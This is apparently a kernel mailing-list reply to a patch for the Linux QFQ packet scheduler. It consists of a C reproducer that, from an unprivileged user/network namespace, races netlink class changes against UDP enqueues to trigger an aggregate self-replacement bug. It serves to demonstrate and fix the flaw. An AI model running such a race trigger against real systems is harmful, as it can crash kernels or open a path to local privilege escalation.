Re: [PATCH] net/sched: sch_qfq: prevent aggregate self-replacement

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U

struct nl_req {
	char buf[4096];
	struct nlmsghdr *nlh;
};

struct race_ctx {
	atomic_uint go;
	atomic_uint done;
	int sender;
	int receiver;
	char packet[UDP_PAYLOAD_LEN];
};

static uint32_t nl_seq;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fprintf(stderr, ": %s\n", strerror(errno));
	exit(1);
}

static void expect_ok(int ret, const char *what)
{
	if (ret < 0) {
		errno = -ret;
		die("%s", what);
	}
}

static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
		     size_t payload_len)
{
	memset(req, 0, sizeof(*req));
	req->nlh = (struct nlmsghdr *)req->buf;
	req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
	req->nlh->nlmsg_type = type;
	req->nlh->nlmsg_flags = flags;
}

static void addattr(struct nl_req *req, uint16_t type, const void *data,
		    size_t len)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	size_t attr_len = RTA_LENGTH(len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink attribute overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = attr_len;
	memcpy(RTA_DATA(rta), data, len);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}

static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink nest overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = RTA_LENGTH(0);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void nest_end(struct nl_req *req, struct rtattr *rta)
{
	rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}

static int nl_open(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket NETLINK_ROUTE");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind NETLINK_ROUTE");
	return fd;
}

static int nl_talk(int fd, struct nl_req *req)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char buf[8192];
	struct iovec iov;
	struct msghdr msg;
	ssize_t n;

	req->nlh->nlmsg_seq = ++nl_seq;
	iov.iov_base = req->nlh;
	iov.iov_len = req->nlh->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	if (sendmsg(fd, &msg, 0) < 0)
		return -errno;

	for (;;) {
		struct nlmsghdr *nlh;
		int rem;

		n = recv(fd, buf, sizeof(buf), 0);
		if (n < 0)
			return -errno;
		for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
		     NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
			struct nlmsgerr *err;

			if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type != NLMSG_ERROR)
				continue;
			err = (struct nlmsgerr *)NLMSG_DATA(nlh);
			return err->error;
		}
	}
}

static int qdisc_add(int fd, int ifindex)
{
	struct nl_req req;
	struct tcmsg *tcm;
	const char kind[] = "qfq";

	init_req(&req, RTM_NEWQDISC,
		 NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
		 sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = QDISC_HANDLE;
	tcm->tcm_parent = TC_H_ROOT;
	addattr(&req, TCA_KIND, kind, sizeof(kind));
	return nl_talk(fd, &req);
}

static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
			bool add_rate)
{
	struct nl_req req;
	struct tcmsg *tcm;
	struct rtattr *opts;
	struct gnet_estimator est = {
		.interval = -2,
		.ewma_log = 1,
	};
	uint32_t weight = 1;
	uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;

	if (create)
		flags |= NLM_F_CREATE | NLM_F_EXCL;
	init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = CLASS_HANDLE;
	tcm->tcm_parent = QDISC_HANDLE;
	opts = nest_start(&req, TCA_OPTIONS);
	addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
	addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	nest_end(&req, opts);
	if (add_rate)
		addattr(&req, TCA_RATE, &est, sizeof(est));
	return nl_talk(fd, &req);
}

static void setup_namespace(void)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
}

static int setup_loopback(void)
{
	struct ifreq ifr;
	int fd;
	int ifindex;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET");
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);

	ifindex = if_nametoindex("lo");
	if (ifindex == 0)
		die("if_nametoindex");
	return ifindex;
}

static int setup_udp(int *receiver)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = 0,
	};
	socklen_t addrlen = sizeof(addr);
	int sender;
	int priority = CLASS_HANDLE;

	*receiver = socket(AF_INET, SOCK_DGRAM, 0);
	if (*receiver < 0)
		die("receiver socket");
	if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
		die("receiver getsockname");

	sender = socket(AF_INET, SOCK_DGRAM, 0);
	if (sender < 0)
		die("sender socket");
	if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
		       sizeof(priority)) < 0)
		die("SO_PRIORITY");
	if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("sender connect");
	return sender;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static void spin_delay(unsigned int count)
{
	while (count--)
		asm volatile("pause" ::: "memory");
}

static void *sender_thread(void *arg)
{
	struct race_ctx *ctx = arg;
	unsigned int i;

	pin_cpu(1);
	for (i = 1; i <= ITERATIONS; i++) {
		char drain[2048];

		while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
		spin_delay(i % MAX_DELAY);
		if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
			die("send");
		while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
			;
		atomic_store_explicit(&ctx->done, i, memory_order_release);
	}
	return NULL;
}

int main(void)
{
	struct race_ctx ctx;
	pthread_t thread;
	int nl;
	int ifindex;
	int ret;
	int thread_ret;
	unsigned int i;

	memset(&ctx, 0, sizeof(ctx));
	memset(ctx.packet, 'A', sizeof(ctx.packet));
	setup_namespace();
	ifindex = setup_loopback();
	nl = nl_open();
	expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
	expect_ok(class_change(nl, ifindex, 512, true, false),
		  "create qfq class");
	ctx.sender = setup_udp(&ctx.receiver);

	pin_cpu(0);
	thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
	if (thread_ret != 0) {
		errno = thread_ret;
		die("pthread_create");
	}

	/*
	 * The estimator attribute makes the post-snapshot part of
	 * qfq_change_class() long enough for the packet enqueue on CPU 1 to
	 * migrate the class to the requested (weight=1, lmax=1500) aggregate.
	 */
	for (i = 1; i <= ITERATIONS; i++) {
		expect_ok(class_change(nl, ifindex, 512, false, false),
			  "reset qfq class");
		atomic_store_explicit(&ctx.go, i, memory_order_release);
		ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
		expect_ok(ret, "change qfq class");
		while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
	}

	pthread_join(thread, NULL);
	close(ctx.sender);
	close(ctx.receiver);
	close(nl);
	return 0;
}